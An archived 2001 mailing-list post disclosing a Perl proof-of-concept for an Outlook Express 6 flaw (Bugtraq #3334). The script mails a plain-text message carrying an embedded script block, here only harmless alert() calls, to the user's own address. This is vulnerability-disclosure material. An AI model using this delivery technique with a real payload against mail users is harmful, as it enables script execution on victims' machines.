Saturday, September 15, 2001 Following is a Proof-Of-Concept script, written in Perl, for the Bugtraq-ID: #3334 security issue, named "Microsoft Outlook Express 6 Plain Text Message Script Execution". Credits for this issue goes to http-equivat_private [mailto:http- equivat_private], who originally found this bug. Usage of this script is very simple. Edit the perl script and add your favourite SMTP mail host and your e-mail address, as the program parameter and finally execute it. The script is avaible for download as bug3334.pl [http://pcfon.de/ms.security/bug3334.pl]. #!/usr/local/bin/perl # # bug3334.pl # # ms.security # # Microsoft Outlook Express 6 # Plain Text Message Script Execution # # Proof-Of-Concept Perl Script # # Version: [0.0.1] # Last Edit: [2001-09-15] # Coding: ms.security [infoat_private] # # Bugtraq: #3334 [http://www.securityfocus.com/bid/3334] # Credit: http-equivat_private [http- equivat_private] # use Net::SMTP; # smtp mailer # *** Program parameter *** $mailer='mailhost'; # smtp host $to='your@e-mail.com'; # receiver address # *** Program information *** @info= ( "\nms.security\n\n", "Microsoft Outlook Express 6\n", "Plain Text Message Script Execution\n\n", "Proof-Of-Concept Perl Script\n\n", "Version: [0.0.1]\n", "Last Edit: [2001-09-15]\n", "Coding: ms.security [info\@pcfon.de]\n\n", "Bugtraq: #3334 [http://www.securityfocus.com/bid/3334]\n", "Credit: http-equiv\@excite.com [http- equiv\@excite.com]\n\n" ); # *** Message header *** @header= ( 'To: ',$to,"\n", "MIME-Version: 1.0\n", "Content-Type: text/plain\n", "charset=\"Windows-1252\"\n", "Content-Transfer-Encoding: 7bit\n", "X-Priority: 3\n", "X-MSMail-Priority: Normal\n", "X-Mailer: Microsoft Outlook Express 6.00.2600.0000 \n", "X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000\n", "\n" ); # *** JavaScript code *** @script= ( "<script>", "alert(\"freak\");", "alert(\"show\")", "</script>" ); # *** Mail message via smtp mailer *** print @info; # info message print "Connecting to $mailer ...\n"; # debug message $smtp = Net::SMTP->new($mailer); # smtp constructor $smtp->mail($to); # mail methode $smtp->to($to); # to methode print "Sending messaging to $to ...\n"; # debug message $smtp->data(); # begin of data $smtp->datasend(@header); # message header $smtp->datasend(@script); # script code $smtp->dataend(); # end of data $smtp->quit; # terminate smtp print "Done.\n"; # debug message # (c) 2001, ms.security, Germany. All rights reserved. ms.security M. Schmidt Web: http://pcfon.de/ms.security/ Mail: mailto:infoat_private
This archive was generated by hypermail 2b30 : Sun Sep 16 2001 - 17:01:03 PDT